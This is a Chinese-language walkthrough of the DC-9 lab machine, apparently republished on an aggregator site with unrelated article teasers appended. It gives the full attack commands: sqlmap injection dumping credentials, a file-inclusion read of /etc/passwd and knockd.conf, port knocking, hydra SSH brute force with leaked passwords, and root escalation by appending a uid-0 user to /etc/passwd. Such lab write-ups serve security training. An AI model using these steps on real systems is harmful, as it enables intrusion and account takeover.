端口敲击守护程序之DC-9

总结

getwebshell : 发现SQL注入 → 登录系统 → 疑似文件包含 → FUZZ参数 → 文件包含读取守护程序 → 敲击打开SSH端口 → 利用泄露账号密码登录

提 权 思 路 : 发现3个用户 → 登录获取密码字典 → 再次爆破获取第4个用户 → sudo文件发现 → 存在root权限写入功能 → passwd覆盖提权

准备工作

  • 启动VPN
    获取攻击机IP → 192.168.45.192

图片

  • 启动靶机
    获取目标机器IP → 192.168.178.209

图片

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次(多次扫描减少误扫)

 
  1. sudo nmap --min-rate 10000 -p- 192.168.178.209

  2. PORT STATE SERVICE

  3. 22/tcp filtered ssh

  4. 80/tcp open http

图片


开放的端口->80
过滤的端口->22

 
  1. 当端口被列为“被过滤”时,意味着该端口被防火墙或网络设备阻止或过滤。这可能是有意的,例如用作防止未经授权访问的安全措施,也可能是由于网络配置错误或连接问题而无意的。

  2. 在这种情况下,端口22被过滤,因此可能无法使用该端口建立到目标设备的SSH连接。

目标端口对应服务探测

 
  1. # tcp探测

  2. sudo nmap -sT -sV -O -sC -p22,80 192.168.178.209

  3. PORT STATE SERVICE VERSION

  4. 22/tcp closed ssh

  5. 80/tcp open http Apache httpd 2.4.38 ((Debian))

图片


现在22端口是关闭的

信息收集-端口测试

80-HTTP端口的信息收集

访问 http://192.168.178.209:80 看上去像CMS
随便戳了戳发现是php

图片

信息收集-网站指纹
 
  1. ┌──(root㉿Kali)-[/home/bachang/DC-9]

  2. └─# whatweb http://192.168.178.209

  3. http://192.168.178.209 [200 OK] Apache[2.4.38], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[192.168.178.209], Title[Example.com - Staff Details - Welcome]

图片

漏洞利用-网站指纹(无)
 
  1. searchsploit Staff Details

  2. searchsploit Example.com

图片

信息收集-HTML隐藏信息查看
 
  1. # 利用html2text转换纯文本方便查看

  2. curl http://192.168.178.209 | html2text

让我们点击其他菜单,可能是提示

图片

信息收集-目录扫描
信息收集-目录扫描初步
 
  1. dirsearch -u http://192.168.178.209 -x 302,403,404

图片


因为扫出了目录,深层次的扫描待选,后期可能会选择.php的后缀扫描

 
  1. 信息收集-目录扫描(后缀)

  2. 信息收集-目录扫描(深度/大字典后缀)

信息收集-目录访问
端点访问

空白

图片


.php可能可以fuzz

图片


没东西

图片


里面的按钮按了没反应,也没看到什么源码

图片

图片


登录端点

图片

然后还有一个我可以点击的search

图片

功能点的实践

之前信息收集的内容还可以深入,不过都待定

漏洞探测-nikto扫描

首先挂上一个扫描器

 
  1. nikto -h http://192.168.178.209

回过头来看发现没什么

图片

登录端点浅浅实践

在登录端点来一手弱口令,以及万能密码发现都没用

图片


然后因为不知道账号是啥,尝试挂着跑admin账户的弱口令

图片

漏洞利用-getwebshell

后台登录

搜索功能点实践-SQL注入

接下来尝试来到搜索功能点,尝试输入一个'破坏完整性
因为搜索功能点大致会并入查询语句

图片


尝试输入了一个'之后发现没什么

图片


因为sql语句的不同,体现方法也是不一样滴
先试试正常的语句

图片

图片


但是Julie'就什么都没显示,推测要注释掉后面的内容
Julie' -- qwe 显示了内容

图片

图片


极大可能是存在sql注入的,使用sqlmap

POST型

在传参的地方打上*

 
  1. # 基础探测

  2. sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*"

  3. # 发现存在之后直接爆数据库

  4. sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" --dbs

  5. # 爆出数据库之后爆表(首页的关键词Staff,先看这个)

  6. sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" -D Staff --tables

  7. # 爆字段名

  8. sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" -D Staff -T Users --columns

  9. # 爆字段中数据

  10. sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" -D Staff -T Users -C Username,Password --dump

基础探测存在

图片


存在三个数据库,首页的关键词Staff,先看这个,选择第二个

图片


优先看Users的表

图片


存在账号以及密码的字段

图片


得到了帐号以及密码的信息

图片


admin | 856f5de590ef37314e7c3bdf6f8a66dc
可以发现密码是md5加密的格式,因为有32

之后我们看看另一个表,表名也挺诱惑人的

 
  1. # 爆出数据库之后爆表

  2. sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" -D users --tables

  3. # 爆字段名

  4. sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" -D users -T UserDetails --columns

  5. # 爆整个表

  6. sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" --dump -D users -T UserDetails

只有一个表UserDetails

图片


太多了,直接一起爆吧

图片


爆了很多密码捏

图片

hashcat爆破密码(失败)
 
  1. # 将密码输出到文件

  2. echo '856f5de590ef37314e7c3bdf6f8a66dc' > hash

  3. hashcat -m 0 -a 0 hash /usr/share/wordlists/rockyou.txt

发现没爆破出来,尝试在线解密

图片


https://www.somd5.com/

图片


挺难受的,爆破不出来,解密出来的密码transorbital1

登录后台

利用获得的账号以及密码登录之后发现多了一个功能点

图片

LFI利用

登录之后发现一个奇怪的地方,登陆前底下是没有的

图片

 
  1. File does not exist >> 文件不存在

推测该功能点的php可以尝试fuzz参数

暴力破解-参数名破解FUZZ1(失败)
 
  1. # -u 指定URL FUZZ 暴力破解的地方 -w 指定字典 -fs 0 不限制文件大小

  2. ffuf -u 'http://192.168.178.209/addrecord.php?FUZZ=../../../../../../etc/passwd' -w /usr/share/wordlists/dirb/common.txt -fs 0 > fuzz.txt

没有爆破处内容捏

图片


curl了一下也没有内容,我想起来是要带cookie才行

图片


修改一下fuff PHPSESSID "h86ph7lej727porurqhsh072vs"
带上cookie之后curl就有值了

图片

暴力破解-参数名破解FUZZ2
 
  1. # -b 带cookie

  2. ffuf -u 'http://192.168.178.209/addrecord.php?FUZZ=../../../../../../etc/passwd' -w /usr/share/wordlists/dirb/common.txt -b "PHPSESSID=h86ph7lej727porurqhsh072vs" -fs 0 > fuzz.txt

从文件夹里面找到一个不一样的size 这样太不优雅了

图片

 
  1. ┌──(root㉿Kali)-[/home/bachang/DC-9]

  2. └─# cat fuzz.txt | grep -v 1757 | grep Size -A 2 -B 2

  3. * FUZZ: framework

  4. [Status: 200, Size: 4110, Words: 95, Lines: 108, Duration: 235ms]

  5. | URL | http://192.168.178.209/addrecord.php?file=../../../../../../etc/passwd

  6. * FUZZ: file

利用grep去掉1757并且筛选最后存在的上下各两行找到了file

图片


得到一个file的参数,在/home下发现了非常多的目录

图片


联想到刚才的数据库账号密码,应该都能登22端口,但是22端口是过滤状态

文件包含利用

日志访问(失败)

一般利用方式是包含log的内容写shell
尝试翻阅一下是否有log日志

 
  1. /var/log/auth.log # ssh登录日志

  2. /var/log/apache2/access.log # apache访问日志

查看了一下,好像都没有捏

图片


想读.ssh来着,但是ssh没开放

查看端口守护程序

因为存在过滤端口,从这个角度切入

图片


因此存在过滤端口的时候可以尝试访问一下这个文件是否存在

 
  1. ../../../../../etc/knockd.conf

  2. [options] UseSyslog

  3. [openSSH] sequence = 7469,8475,9842

  4. seq_timeout = 25

  5. command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT

  6. tcpflags = syn

  7. [closeSSH] sequence = 9842,8475,7469

  8. seq_timeout = 25

  9. command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT

  10. tcpflags = syn

图片

端口过滤之敲击守护程序

如果我们按照要求依次访问7469,8475,9842三个端口在25秒内,那么利用端口敲击守护程序ssh端口就会打开

利用工具knock

 
  1. sudo apt install knockd

  2. knock 192.168.178.209 7469 8475 9842

之后访问发现ssh端口开放了

图片

暴力破解-SSH爆破hydra

根据数据库爆出来的内容制作user.txt以及passwd.txt字典

 
  1. echo 'marym

  2. julied

  3. fredf

  4. barneyr

  5. tomc

  6. jerrym

  7. wilmaf

  8. bettyr

  9. chandlerb

  10. joeyt

  11. rachelg

  12. rossg

  13. monicag

  14. phoebeb

  15. scoots

  16. janitor

  17. janitor2' > user.txt

 
  1. echo '3kfs86sfd

  2. 468sfdfsd2

  3. 4sfd87sfd1

  4. RocksOff

  5. TC&TheBoyz

  6. B8m#48sd

  7. Pebbles

  8. BamBam01

  9. UrAG0D!

  10. Passw0rd

  11. yN72#dsd

  12. ILoveRachel

  13. 3248dsds7s

  14. smellycats

  15. YR3BVxxxw87

  16. Ilovepeepee

  17. Hawaii-Five-0' > passwd.txt

 
  1. # -L 指定账号字典 -P指定密码字典

  2. hydra -L user.txt -P passwd.txt 192.168.178.209 ssh -s 22 -t 64 - o main

查看了对应的main文件看到了3个可用

图片

 
  1. [22][ssh] host: 192.168.178.209 login: chandlerb password: UrAG0D!

  2. [22][ssh] host: 192.168.178.209 login: joeyt password: Passw0rd

  3. [22][ssh] host: 192.168.178.209 login: janitor password: Ilovepeepee

内网遨游-getshell

3开SSH

获取账号密码之后利用SSH进行登录(3个小时到了,换了个目标机)

 
  1. sudo ssh chandlerb<span class="label label-primary">@192.168.208.209</span> -p22

  2. password &gt; UrAG0D!

  3. sudo ssh joeyt<span class="label label-primary">@192.168.208.209</span> -p22

  4. password &gt; Passw0rd

  5. sudo ssh janitor<span class="label label-primary">@192.168.208.209</span> -p22

  6. password &gt; Ilovepeepee

图片


但是发现输入find都没什么用,尝试查找内部的敏感信息
janitor用户下发现了不一样的东西

图片


发现是个文件,进入

图片

图片


探索之后发现了新的密码文件,再写一个文件利用hyrda爆破

 
  1. echo 'BamBam01

  2. Passw0rd

  3. smellycats

  4. P0Lic#10-4

  5. B4-Tru3-001

  6. 4uGU5T-NiGHts' &gt; passwd2.txt

 
  1. # -L 指定账号字典 -P指定密码字典

  2. hydra -L user.txt -P passwd2.txt 192.168.208.209 ssh -s 22 -t 64 -o main

通过爆破得到了新的用户密码

图片

 
  1. [22][ssh] host: 192.168.178.209 login: fredf password: B4-Tru3-001

进行ssh连接

 
  1. sudo ssh fredf<span class="label label-primary">@192.168.208.209</span> -p22

  2. password &gt; B4-Tru3-001

FLAG1获取

输入find命令之后发现只有fredf是可以的

 
  1. fredf<span class="label label-primary">@dc-9</span>:~$ find / -name local.txt 2&gt;/dev/null

  2. /home/fredf/local.txt

  3. fredf<span class="label label-primary">@dc-9</span>:~$ cat /home/fredf/local.txt

  4. 4c30c90388a4b5baa8bf21db8529bb51

图片

权限提升

Linux提权-sudo提权

查找具有sudo权限,且不需要密码的可提权文件

 
  1. # 利用sudo -l寻找

  2. fredf<span class="label label-primary">@dc-9</span>:~$ sudo -l

  3. Matching Defaults entries for fredf on dc-9:

  4. env_reset, mail_badpass,

  5. secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

  6. User fredf may run the following commands on dc-9:

  7. (root) NOPASSWD: /opt/devstuff/dist/test/test

只有fredf用户是存在sudo

图片

追踪一下这个文件

 
  1. # 权限查看 (读与执行)

  2. fredf<span class="label label-primary">@dc-9</span>:~$ ls -al /opt/devstuff/dist/test/test

  3. -rwxr-xr-x 1 root root 1212968 Dec 29 2019 /opt/devstuff/dist/test/test

  4. # 查看内容发现看不了

  5. fredf<span class="label label-primary">@dc-9</span>:~$ cat /opt/devstuff/dist/test/test

图片


尝试运行

 
  1. fredf<span class="label label-primary">@dc-9</span>:$ cd /opt/devstuff/dist/test

  2. fredf<span class="label label-primary">@dc-9</span>:/opt/devstuff/dist/test$ ./test

  3. Usage: python test.py read append

  4. fredf<span class="label label-primary">@dc-9</span>:/opt/devstuff/dist/test$ sudo /opt/devstuff/dist/test/test

  5. Usage: python test.py read append

读不了,显示是读test.py ,说明使用test应该是需要参数的

 
  1. # 全局搜索

  2. fredf<span class="label label-primary">@dc-9</span>:/opt/devstuff/dist/test$ find / -name "test.py" 2&gt;/dev/null

  3. /opt/devstuff/test.py

  4. /usr/lib/python3/dist-packages/setuptools/command/test.py

发现了两个,应该是上面那个

 
  1. cat /opt/devstuff/test.py

如果传递的参数不等于3,就会输出Usage: python test.py read append

不然会读取输入第一个参数内的文件追加写入到第二个参数

 
  1. #!/usr/bin/python

  2. import sys

  3. if len (sys.argv) != 3 :

  4. print ("Usage: python test.py read append")

  5. sys.exit (1)

  6. else :

  7. f = open(sys.argv[1], "r")

  8. output = (f.read())

  9. f = open(sys.argv[2], "a")

  10. f.write(output)

  11. f.close()

图片

/etc/passwd覆盖提权

既然是这样的话,那我可以自己写一个root权限的用户进行追加覆盖

覆盖掉root的密码

 
  1. # Kali机器使用openssl生成密码 -l指定生成密码

  2. ┌──(root㉿Kali)-[/home/bachang/DC-9]

  3. └─# sudo openssl passwd

  4. Password: YaoRuo

  5. Verifying - Password: YaoRuo

  6. $1$2Pnbp/rL$s7aGNIT5ndyGog5cor6N4.

目标机器上覆盖

 
  1. # 制作root权限用户 root:x:0:0:root:/root:/bin/bash

  2. YaoRuo:$1$2Pnbp/rL$s7aGNIT5ndyGog5cor6N4.:0:0:root:/root:/bin/bash

  3. # 写入到可写文件夹中

  4. fredf<span class="label label-primary">@dc-9</span>:/opt/devstuff/dist/test$ echo 'YaoRuo:$1$2Pnbp/rL$s7aGNIT5ndyGog5cor6N4.:0:0:root:/root:/bin/bash' &gt; /tmp/passwd.txt

  5. # 进行覆盖

  6. fredf<span class="label label-primary">@dc-9</span>:/opt/devstuff/dist/test$ sudo /opt/devstuff/dist/test/test /tmp/passwd.txt /etc/passwd

  7. # 权限提升

  8. fredf<span class="label label-primary">@dc-9</span>:/opt/devstuff/dist/test$ su YaoRuo

  9. Password: RaoYuo

  10. root<span class="label label-primary">@dc-9</span>:/opt/devstuff/dist/test# id

  11. uid=0(root) gid=0(root) groups=0(root)

提权成功

图片

FLAG2获取

 
  1. root<span class="label label-primary">@dc-9</span>:/opt/devstuff/dist/test# cat /root/proof.txt

  2. e67eaee361edc9e35fc8cfe0b1ea7bd7

完结撒花~

图片

总结

filtered过滤端口也是值得探索的内容
可能存在端口敲击守护程序/etc/knockd.conf

传参进行fuzz的时候还是要多试,顺便一提的是登录要记得带上cookie

端口敲击守护程序

这个内容本质上就是防止被端口扫描。从资料上看在电网这种工业级上考虑的较多。

 
  1. 端口扫描也是威胁 Web 安全的一种方式,服务器主机关闭不必要的端口对这一攻击有一定的作用,但是对于必须开启的端口还是存在着安全隐患,为了预防这一类网络攻击,系统采用一种“服务敲门”的方式来开启或关闭端口。

  2. “服务敲门”也就是端口试探,它的原理类似一次约定好的秘密握手,一定时间间隔发送一定序列的UDP 或 TCP 数据包,运行在主机上的抓包程序捕捉到之后,开启对应端口或关闭对应端口。以 22 端口为

除了使用直接利用本地安装的knockd工具之外也可以用其他方法进行端口敲击,就是有时间限制。

例如 nmap -p[端口] [ip] nc [ip] [端口]

 申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/600438.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

具有温度系数(Temperature)的Softmax函数

Softmax 函数 softmax 函数是一种激活函数&#xff0c;通常用作神经网络最后一层的输出函数。该函数是两个以上变量的逻辑函数的推广。 Softmax 将实数向量作为输入&#xff0c;并将其归一化为概率分布。 softmax函数的输出是与输入具有相同维度的向量&#xff0c;每个元素的…

安卓java打包uniapp原生插件 和 uniapp使用安卓android原生插件

1.uniapp dcloud官方文档 简介 | uni小程序SDK 2.前提&#xff0c;需要有经验的安卓java开发人员&#xff0c;并且同时具备uniapp移动端开发经验。说明&#xff1a;android打包的.aar和uniapp需要的.aar是不一样的&#xff0c;uniapp需要的.aar是需要有一些特定配置的&#x…

实践笔记-linux内核版本升级(centos7)

linux内核版本升级 1.查看当前内核版本信息2.采用yum方式进行版本升级2.1导入仓库源2.2选择 ML 或 LT 版本安装2.3设置内核启动 3.删除旧版本内核 1.查看当前内核版本信息 #查看操作系统版本 cat /etc/redhat-release #查看系统内核 uname -r2.采用yum方式进行版本升级 2.1导…

只需三步,本地打造自己的AI个人专属知识库

一、引言 本文会手把手教你如何部署本地大模型以及搭建个人知识库&#xff0c;使用到的工具和软件有 OllamaOpen WebUIDockerAnythingLLM 本文主要分享三点 如何用Ollama在本地运行大模型使用现代Web UI和本地大模型"聊天"如何打造完全本地化的知识库&#xff1a…

【MacBook系统homebrew镜像记录】

安装 使用Homebrew 国内源安装脚本,贼方便&#xff1a; /bin/zsh -c "$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)"切换至清华大学镜像源&#xff1a; 命令合并&#xff1a; 分别切换了 brew.git、 homebrew-core.git、 homebrew-…

磁盘类型与IOPS性能指标

目录 1.磁盘的访问模式 2.磁盘分类 2.1 HDD机械磁盘 2.1.1 机械磁盘性能 2.1.2 IOPS 2.1.3 提升IOPS性能手段 2.1.4 RAID技术 RAID 0 RAID 1 RAID 5 RAID 6 RAID 10 RAID 50 RAID总结 2.2 SSD固态硬盘 2.2.1 查看磁盘调度算法 2.2.2 修改磁盘调度算法 2.2.3 …

【随笔】Git 高级篇 -- 提交的技巧(下) cherry-pick commit --amend(十九)

&#x1f48c; 所属专栏&#xff1a;【Git】 &#x1f600; 作  者&#xff1a;我是夜阑的狗&#x1f436; &#x1f680; 个人简介&#xff1a;一个正在努力学技术的CV工程师&#xff0c;专注基础和实战分享 &#xff0c;欢迎咨询&#xff01; &#x1f496; 欢迎大…

【架构七】Hadoop

什么是Hadoop? Hadoop是一个存储系统计算框架的软件大数据处理框架。 Hadoop的核心&#xff0c;说白了就是HDFS和MapReduce&#xff0c;HDFS为海量数据提供了存储&#xff0c;而MapReduce为海量数据提供了计算框架。HBase是一个分布式的、面向列的开源数据库。属于Nosql。 …

day11 java不同对象的关联与内存分析 JavaBean用途及讲解 import导入包

不同对象的关联与内存分析 内存图&#xff1a; 对象的属性是另一个对象时&#xff0c;在堆内存内该属性对应的值是另一个对象的首地址&#xff08;指向另一个堆内存内另一个对象&#xff09;&#xff0c;两对象建立了联系&#xff0c;可以根据箭头间接调用。 JavaBean…

linux基础篇:Linux中磁盘的管理(分区、格式化、挂载)

Linux中磁盘的管理&#xff08;分区、格式化、挂载&#xff09; 一、认识磁盘 1.1 什么是磁盘 磁盘是一种计算机的外部存储器设备&#xff0c;由一个或多个覆盖有磁性材料的铝制或玻璃制的碟片组成&#xff0c;用来存储用户的信息&#xff0c;这种信息可以反复地被读取和改写…

蚁剑修改特征性信息

前言 我们首先得知道蚁剑的流量特征&#xff1a; 编码器和解码器的特征&#xff1a;蚁剑自带的编码器和解码器具有明显的特点&#xff0c;可以通过更改配置文件来达到流量加密的目的1。例如&#xff0c;蚁剑支持多种编码方式&#xff0c;如base64、chr、rot13等&#xff0c;这…

41.基于SpringBoot + Vue实现的前后端分离-校园网上店铺管理系统(项目 + 论文PPT)

项目介绍 二十一世纪互联网的出现&#xff0c;改变了几千年以来人们的生活&#xff0c;不仅仅是生活物资的丰富&#xff0c;还有精神层次的丰富。本课题研究和开发校园网上店铺&#xff0c;让安装在计算机上的该系统变成管理人员的小帮手&#xff0c;提高校园店铺商品销售信息处…